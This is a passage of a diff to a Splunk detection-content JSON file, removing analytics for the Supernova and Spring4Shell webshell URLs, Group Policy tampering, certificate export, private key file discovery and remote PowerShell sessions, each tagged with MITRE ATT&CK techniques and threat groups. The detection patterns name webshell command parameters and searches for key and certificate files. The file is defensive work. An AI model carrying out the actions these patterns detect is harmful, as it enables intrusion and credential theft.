"Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Supernova Webshell", - "description": "The following analytic detects the presence of the Supernova webshell, used in the SUNBURST attack, by identifying specific patterns in web URLs. The detection leverages Splunk to search for URLs containing \"*logoimagehandler.ashx*codes*\", \"*logoimagehandler.ashx*clazz*\", \"*logoimagehandler.ashx*method*\", and \"*logoimagehandler.ashx*args*\". This activity is significant as it indicates potential unauthorized access and arbitrary code execution on a compromised system. If confirmed malicious, this could lead to data theft, ransomware deployment, or other severe outcomes. Immediate steps include reviewing the web URLs, inspecting on-disk artifacts, and analyzing concurrent processes and network connections.", - "search": "| tstats `security_content_summariesonly` count from datamodel=Web.Web where web.url=*logoimagehandler.ashx*codes* OR Web.url=*logoimagehandler.ashx*clazz* OR Web.url=*logoimagehandler.ashx*method* OR Web.url=*logoimagehandler.ashx*args* by Web.src Web.dest Web.url Web.vendor_product Web.user Web.http_user_agent _time span=1s | `supernova_webshell_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Web JSP Request via URL", - "description": "The following analytic identifies URL requests associated with CVE-2022-22965 (Spring4Shell) exploitation attempts, specifically targeting webshell access on a remote webserver. It detects HTTP GET requests with URLs containing \".jsp?cmd=\" or \"j&cmd=\" patterns. This activity is significant as it indicates potential webshell deployment, which can lead to unauthorized remote command execution. If confirmed malicious, attackers could gain control over the webserver, execute arbitrary commands, and potentially escalate privileges, leading to severe data breaches and system compromise.", - "search": "| tstats count from datamodel=Web where Web.http_method IN (\"GET\") Web.url IN (\"*.jsp?cmd=*\",\"*j&cmd=*\") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `web_jsp_request_via_url_filter`", - "tags": { - "analytic_story": [ - "Spring4Shell CVE-2022-22965" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A suspicious URL has been requested against $dest$ by $src$, related to web shell activity.", - "risk_score": 72, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -349912,339 +248020,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Windows Admon Default Group Policy Object Modified", - "description": "The following analytic detects modifications to the default Group Policy Objects (GPOs) in an Active Directory environment. It leverages Splunk's Admon to monitor updates to the \"Default Domain Policy\" and \"Default Domain Controllers Policy.\" This activity is significant because changes to these default GPOs can indicate an adversary with privileged access attempting to gain further control, establish persistence, or deploy malware across multiple hosts. If confirmed malicious, such modifications could lead to widespread policy enforcement changes, unauthorized access, and potential compromise of the entire domain environment.", - "search": " `admon` admonEventType=Update objectCategory=\"CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=*\" (displayName=\"Default Domain Policy\" OR displayName=\"Default Domain Controllers Policy\") | stats min(_time) as firstTime max(_time) as lastTime values(gPCFileSysPath) by dcName, displayName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_admon_default_group_policy_object_modified_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dcName", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A default domain group policy was updated on $dcName$", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.001", - "mitre_attack_technique": "Group Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Cinnamon Tempest", - "Indrik Spider" - ] - } - ] - } - }, - { - "name": "Windows Admon Group Policy Object Created", - "description": "The following analytic detects the creation of a new Group Policy Object (GPO) using Splunk's Admon data. It identifies events where a new GPO is created, excluding default \"New Group Policy Object\" entries. Monitoring GPO creation is crucial as adversaries can exploit GPOs to escalate privileges or deploy malware across an Active Directory network. If confirmed malicious, this activity could allow attackers to control system configurations, deploy ransomware, or propagate malware, significantly compromising the network's security.", - "search": " `admon` admonEventType=Update objectCategory=\"CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=*\" versionNumber=0 displayName!=\"New Group Policy Object\" | stats min(_time) as firstTime max(_time) as lastTime values(gPCFileSysPath) by dcName, displayName | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_admon_group_policy_object_created_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dcName", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A new group policy objected was created on $dcName$", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.001", - "mitre_attack_technique": "Group Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Cinnamon Tempest", - "Indrik Spider" - ] - } - ] - } - }, - { - "name": "Windows Default Group Policy Object Modified", - "description": "The following analytic detects modifications to default Group Policy Objects (GPOs) using Event ID 5136. It monitors changes to the `Default Domain Controllers Policy` and `Default Domain Policy`, which are critical for enforcing security settings across domain controllers and all users/computers, respectively. This activity is significant because unauthorized changes to these GPOs can indicate an adversary with privileged access attempting to deploy persistence mechanisms or execute malware across the network. If confirmed malicious, such modifications could lead to widespread compromise, allowing attackers to maintain control and execute arbitrary code on numerous hosts.", - "search": " `wineventlog_security` EventCode=5136 ObjectClass=groupPolicyContainer AttributeLDAPDisplayName=versionNumber (ObjectDN=\"CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=POLICIES,CN=SYSTEM,DC=*\" OR ObjectDN=\"CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=POLICIES,CN=SYSTEM,DC=*\") | stats min(_time) as firstTime max(_time) as lastTime by ObjectDN SubjectUserSid AttributeValue Computer DSName | rename AttributeValue as versionNumber | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_default_group_policy_object_modified_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "SubjectUserSid", - "type": "User", - "role": [ - "Attacker" - ] - }, - { - "name": "Computer", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A default group policy object was modified on $Computer$ by $SubjectUserSid$", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.001", - "mitre_attack_technique": "Group Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Cinnamon Tempest", - "Indrik Spider" - ] - } - ] - } - }, - { - "name": "Windows Default Group Policy Object Modified with GPME", - "description": "The following analytic detects modifications to default Group Policy Objects (GPOs) using the Group Policy Management Editor (GPME). It leverages the Endpoint data model to identify processes where `mmc.exe` executes `gpme.msc` with specific GUIDs related to default GPOs. This activity is significant because default GPOs, such as the `Default Domain Controllers Policy` and `Default Domain Policy`, are critical for enforcing security policies across the domain. If malicious, such modifications could allow an attacker to gain further access, establish persistence, or deploy malware across numerous hosts, severely compromising the network's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=mmc.exe (Processes.process =*gpme.msc*) AND (Processes.process = \"*31B2F340-016D-11D2-945F-00C04FB984F9*\" OR Processes.process = \"*6AC1786C-016F-11D2-945F-00C04fB984F9*\" ) by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_default_group_policy_object_modified_with_gpme_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "A default group policy object was opened with Group Policy Manage Editor on $dest$", - "risk_score": 50, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.001", - "mitre_attack_technique": "Group Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Cinnamon Tempest", - "Indrik Spider" - ] - } - ] - } - }, - { - "name": "Windows Group Policy Object Created", - "description": "The following analytic detects the creation of a new Group Policy Object (GPO) by leveraging Event IDs 5136 and 5137. This detection uses directory service change events to identify when a new GPO is created. Monitoring GPO creation is crucial as adversaries can exploit GPOs to escalate privileges or deploy malware across an Active Directory network. If confirmed malicious, this activity could allow attackers to control system configurations, deploy ransomware, or propagate malware, leading to widespread compromise and significant operational disruption.", - "search": " `wineventlog_security` EventCode=5137 OR (EventCode=5136 AttributeValue!=\"New Group Policy Object\" AND (AttributeLDAPDisplayName=displayName OR AttributeLDAPDisplayName=gPCFileSysPath) ) ObjectClass=groupPolicyContainer | stats values(AttributeValue) as details values(SubjectUserSid) as User values(ObjectDN) as ObjectDN by ObjectGUID Computer | eval GPO_Name = mvindex(details, 0) | eval GPO_Path = mvindex(details, 1) | fields - details | `windows_group_policy_object_created_filter`", - "tags": { - "analytic_story": [ - "Active Directory Privilege Escalation", - "Sneaky Active Directory Persistence Tricks" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "User", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A new group policy objected was created by $User$", - "risk_score": 40, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1484", - "mitre_attack_technique": "Domain or Tenant Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1484.001", - "mitre_attack_technique": "Group Policy Modification", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "Cinnamon Tempest", - "Indrik Spider" - ] - }, - { - "mitre_attack_id": "T1078.002", - "mitre_attack_technique": "Domain Accounts", - "mitre_attack_tactics": [ - "Defense Evasion", - "Initial Access", - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT3", - "APT5", - "Chimera", - "Cinnamon Tempest", - "Indrik Spider", - "Magic Hound", - "Naikon", - "Sandworm Team", - "TA505", - "Threat Group-1314", - "ToddyCat", - "Volt Typhoon", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -351640,48 +249415,7 @@ "data_component": "command execution", "type": "activity", "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "user", - "relationship": "executed", - "target_data_element": "command", - "references": [ - "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", - "https://tools.ietf.org/html/rfc2866" - ] - }, - { - "technique_id": "T1552.004", - "x_mitre_is_subtechnique": true, - "technique": "Private Keys", - "tactic": [ - "credential-access" - ], - "platform": [ - "Linux", - "macOS", - "Windows" - ], - "data_source": "command", - "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", - "collection_layers": [ - "host", - "container" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network", - "Containers" - ], - "contributors": [ - "Austin Clark", - "ATT&CK", - "CTID" - ], - "data_component": "command execution", - "type": "activity", - "description": "Information about commands executed through a command-line interface and/or script interpreter.", - "source_data_element": "process", + "source_data_element": "user", "relationship": "executed", "target_data_element": "command", "references": [ @@ -351690,255 +249424,45 @@ ] }, { - "name": "Windows Export Certificate", - "description": "The following analytic detects the export of a certificate from the Windows Certificate Store. It leverages the Certificates Lifecycle log channel, specifically event ID 1007, to identify this activity. Monitoring certificate exports is crucial as certificates can be used for authentication to VPNs or private resources. If malicious actors export certificates, they could potentially gain unauthorized access to sensitive systems or data, leading to significant security breaches.", - "search": "`certificateservices_lifecycle` EventCode=1007 | xmlkv UserData_Xml | stats count min(_time) as firstTime max(_time) as lastTime by Computer, SubjectName, UserData_Xml | rename Computer as dest | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `windows_export_certificate_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An certificate was exported on $dest$ from the Windows Certificate Store.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.004", - "mitre_attack_technique": "Private Keys", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Rocke", - "Scattered Spider", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows PowerShell Export Certificate", - "description": "The following analytic detects the use of the PowerShell Cmdlet `export-certificate` by leveraging Script Block Logging. This activity is significant as it may indicate an adversary attempting to exfiltrate certificates from the local Certificate Store on a Windows endpoint. Monitoring this behavior is crucial because stolen certificates can be used to impersonate users, decrypt sensitive data, or facilitate further attacks. If confirmed malicious, this activity could lead to unauthorized access to encrypted communications and sensitive information, posing a severe security risk.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*export-certificate*\") | rename Computer as dest | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_export_certificate_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell Cmdlet related to exporting a Certificate was ran on $dest$, attempting to export a certificate.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.004", - "mitre_attack_technique": "Private Keys", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Rocke", - "Scattered Spider", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows PowerShell Export PfxCertificate", - "description": "The following analytic detects the use of the PowerShell cmdlet `export-pfxcertificate` by leveraging Script Block Logging. This activity is significant as it may indicate an adversary attempting to exfiltrate certificates from the Windows Certificate Store. Monitoring this behavior is crucial for identifying potential certificate theft, which can lead to unauthorized access and impersonation attacks. If confirmed malicious, this activity could allow attackers to compromise secure communications, authenticate as legitimate users, and escalate their privileges within the network.", - "search": "`powershell` EventCode=4104 ScriptBlockText IN (\"*export-pfxcertificate*\") | rename Computer as dest | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText dest user_id | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_powershell_export_pfxcertificate_filter`", - "tags": { - "analytic_story": [ - "Windows Certificate Services" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A PowerShell Cmdlet related to exporting a PFX Certificate was ran on $dest$, attempting to export a certificate.", - "risk_score": 36, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.004", - "mitre_attack_technique": "Private Keys", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Rocke", - "Scattered Spider", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1649", - "mitre_attack_technique": "Steal or Forge Authentication Certificates", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT29" - ] - } - ] - } - }, - { - "name": "Windows Private Keys Discovery", - "description": "The following analytic identifies processes that retrieve information related to private key files, often used by post-exploitation tools like winpeas. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions that search for private key certificates. This activity is significant as it indicates potential attempts to locate insecurely stored credentials, which adversaries can exploit for privilege escalation, persistence, or remote service authentication. If confirmed malicious, this behavior could allow attackers to access sensitive information, escalate privileges, or maintain persistence within the compromised environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process = \"*dir *\" OR Processes.process = \"*findstr*\" AND Processes.process IN ( \"*.rdg*\", \"*.gpg*\", \"*.pgp*\", \"*.p12*\", \"*.der*\", \"*.csr*\", \"*.cer*\", \"*.ovpn*\", \"*.key*\", \"*.ppk*\", \"*.p12*\", \"*.pem*\", \"*.pfx*\", \"*.p7b*\", \"*.asc*\") by Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.process_guid Processes.parent_process_name Processes.parent_process Processes.parent_process_guid Processes.dest Processes.user | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_private_keys_discovery_filter`", - "tags": { - "analytic_story": [ - "Prestige Ransomware", - "Windows Post-Exploitation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a process with commandline $process$ that can retrieve information related to private keys in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1552.004", - "mitre_attack_technique": "Private Keys", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "Rocke", - "Scattered Spider", - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1552", - "mitre_attack_technique": "Unsecured Credentials", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - } - ] - } + "technique_id": "T1552.004", + "x_mitre_is_subtechnique": true, + "technique": "Private Keys", + "tactic": [ + "credential-access" + ], + "platform": [ + "Linux", + "macOS", + "Windows" + ], + "data_source": "command", + "definition": "Information about commands that can be used through a command-line interface and/or script interpreter.", + "collection_layers": [ + "host", + "container" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network", + "Containers" + ], + "contributors": [ + "Austin Clark", + "ATT&CK", + "CTID" + ], + "data_component": "command execution", + "type": "activity", + "description": "Information about commands executed through a command-line interface and/or script interpreter.", + "source_data_element": "process", + "relationship": "executed", + "target_data_element": "command", + "references": [ + "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", + "https://tools.ietf.org/html/rfc2866" + ] } ], "external_reference": [ @@ -353933,643 +251457,6 @@ "https://tools.ietf.org/id/draft-ietf-opsawg-tacacs-07.html#rfc.section.7.2", "https://tools.ietf.org/html/rfc2866" ] - }, - { - "name": "Interactive Session on Remote Endpoint with PowerShell", - "description": "The following analytic detects the use of the `Enter-PSSession` cmdlet to establish an interactive session on a remote endpoint via the WinRM protocol. It leverages PowerShell Script Block Logging (EventCode=4104) to identify this activity by searching for specific script block text patterns. This behavior is significant as it may indicate lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this activity could allow attackers to execute commands remotely, potentially leading to further compromise of the network and unauthorized access to sensitive information.", - "search": "`powershell` EventCode=4104 (ScriptBlockText=\"*Enter-PSSession*\" AND ScriptBlockText=\"*-ComputerName*\") | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ScriptBlockText Computer UserID | rename Computer as dest | rename UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `interactive_session_on_remote_endpoint_with_powershell_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "An interactive session was opened on a remote endpoint from $dest$", - "risk_score": 45, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1021", - "mitre_attack_technique": "Remote Services", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1021.006", - "mitre_attack_technique": "Windows Remote Management", - "mitre_attack_tactics": [ - "Lateral Movement" - ], - "mitre_attack_groups": [ - "Chimera", - "FIN13", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Possible Lateral Movement PowerShell Spawn", - "description": "The following analytic detects the spawning of a PowerShell process as a child or grandchild of commonly abused processes like services.exe, wmiprsve.exe, svchost.exe, wsmprovhost.exe, and mmc.exe. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process and parent process names, as well as command-line executions. This activity is significant as it often indicates lateral movement or remote code execution attempts by adversaries. If confirmed malicious, this behavior could allow attackers to execute code remotely, escalate privileges, or persist within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.parent_process_name=wmiprvse.exe OR Processes.parent_process_name=services.exe OR Processes.parent_process_name=svchost.exe OR Processes.parent_process_name=wsmprovhost.exe OR Processes.parent_process_name=mmc.exe) (Processes.process_name=powershell.exe OR (Processes.process_name=cmd.exe AND Processes.process=*powershell.exe*) OR Processes.process_name=pwsh.exe OR 